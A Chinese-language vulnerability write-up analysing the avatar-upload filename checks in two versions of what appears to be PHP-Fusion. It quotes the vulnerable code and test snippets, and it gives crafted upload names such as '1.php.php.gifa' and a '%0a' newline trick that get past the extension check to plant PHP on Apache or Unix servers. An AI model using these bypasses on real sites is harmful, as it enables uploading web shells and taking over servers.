by Superhei@ph4nt0m

includes/update_profile_include.php

   ...
   $newavatar = $_FILES['user_avatar'];
    if ($userdata['user_avatar'] == "" && !empty($newavatar['name']) && is_uploaded_file($newavatar['tmp_name'])) {
        if (preg_match("/^[-0-9A-Z_\.\[\]]+$/i", $newavatar['name']) && $newavatar['size'] <= 30720) {
                           $avatarext = strrchr($newavatar['name'],".");
            if (eregi(".gif", $avatarext) || eregi(".jpg", $avatarext) || eregi(".png", $avatarext)) {
                $avatarname = substr($newavatar['name'], 0, strrpos($newavatar['name'], "."));
                $avatarname = $avatarname."[".$userdata['user_id']."]".$avatarext;
                $set_avatar = "user_avatar='$avatarname', ";
                move_uploaded_file($newavatar['tmp_name'], IMAGES."avatars/".$avatarname);
                chmod(IMAGES."avatars/".$avatarname,0644);
                if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {
                    if ($size['0'] > 100 || $size['1'] > 100) {
                        unlink(IMAGES."avatars/".$avatarname);
                        $set_avatar = "";
                    }
                } else {
                    unlink(IMAGES."avatars/".$avatarname);
                    $set_avatar = "";
判断的伪代码：
<?
$newavatar['name']= $_GET[a]; //提交 a=1.php.php.gifa
print preg_match("/^[-0-9A-Z_\.\[\]]+$/i", $newavatar['name']); //名字里可以有.
$avatarext = strrchr($newavatar['name'],".");//取后缀
print eregi(".gif", $avatarext); //只要后缀里包含有.gif就ok了 那么我们可以提交1.php.php.gif

$avatarname = substr($newavatar['name'], 0, strrpos($newavatar['name'], "."));取最文件名的前面的部分
$avatarname = $avatarname."[".$userdata['user_id']."]".$avatarext;
$set_avatar = "user_avatar='$avatarname', ";
print $avatarname; //1.php.php.gifa==>1.php.php[id号].gifa
//move_uploaded_file($newavatar['tmp_name'], IMAGES."avatars/".$avatarname);

在apache下是可以利用了[1]，那么下面的getimagesize()的判断：
if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {

if ($size['0'] > 100 || $size['1'] > 100) { //可以利用关于paas getimagesize()的帖子构造图片 [2]

当时我是在官方下的v6.00.305测试的，不过无意中在milw0rm上已经有人发过了[3]。 :(

于是又到官方逛，在一个角落里发现了新点的版本：v6.01.10的Code：

........
    if ($userdata['user_avatar'] == "" && !empty($newavatar['name']) && is_uploaded_file($newavatar['tmp_name'])) {
        $avatarext = strrchr($newavatar['name'],".");
        $avatarname = substr($newavatar['name'], 0, strrpos($newavatar['name'], "."));
        if (preg_match("/^[-0-9A-Z_\[\]]+$/i", $avatarname) && preg_match("/(\.gif|\.GIF|\.jpg|\.JPG|\.png|\.PNG)

$/", $avatarext) && $newavatar['size'] <= 30720) {
            $avatarname = $avatarname."[".$userdata['user_id']."]".$avatarext;
            $set_avatar = "user_avatar='$avatarname', ";
            move_uploaded_file($newavatar['tmp_name'], IMAGES."avatars/".$avatarname);
            chmod(IMAGES."avatars/".$avatarname,0644);
            if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {
                if ($size['0'] > 100 || $size['1'] > 100) {
                    unlink(IMAGES."avatars/".$avatarname);

........

判断的伪代码：

<?
$newavatar['name']= $_GET[a];
$avatarext = strrchr($newavatar['name'],".");
$avatarname = substr($newavatar['name'], 0, strrpos($newavatar['name'], "."));
print $avatarext."<br>";
print $avatarname."<br>";
print preg_match("/^[-0-9A-Z_\[\]]+$/i", $avatarname)."<br>"; //提取后缀的部分不可以有. [不可以提交1.php.gif这样的类型]
print preg_match("/(\.gif|\.GIF|\.jpg|\.JPG|\.png|\.PNG)$/", $avatarext)."<br>";

没戏了~~~

一些sy的思考:
如果

preg_match("/^[-0-9A-Z_\[\]]+$/i", $avatarname)

没有过滤.的话 是不是还有机会呢? code:

<?
$newavatar['name']= $_GET[a];
$avatarext = strrchr($newavatar['name'],".");
$avatarname = substr($newavatar['name'], 0, strrpos($newavatar['name'], "."));
print $avatarext."<br>";
print $avatarname."<br>";
print preg_match(""/^[-0-9A-Z_\.\[\]]+$/i"", $avatarname)."<br>"; //我们使用v6.00.305的正则.
print preg_match("/(\.gif|\.GIF|\.jpg|\.JPG|\.png|\.PNG)$/", $avatarext)."<br>";

我们提交?a=1.php.php.gifa时

preg_match(""/^[-0-9A-Z_\.\[\]]+$/i"", $avatarname) ===>1
preg_match("/(\.gif|\.GIF|\.jpg|\.JPG|\.png|\.PNG)$/", $avatarext) ===>0

失败了,不过如果你看过se大牛的blog [4] ,

preg_match("/(\.gif|\.GIF|\.jpg|\.JPG|\.png|\.PNG)$/", $avatarext)

这个还是可以过的:
提交?a=1.php.php.gif%0a就可以绕过了,但是在

move_uploaded_file($newavatar['tmp_name'], IMAGES."avatars/".$avatarname);

win下是文件名1.php.php.gif\x0a 是不合法的,但是在*nix下是可以的 :).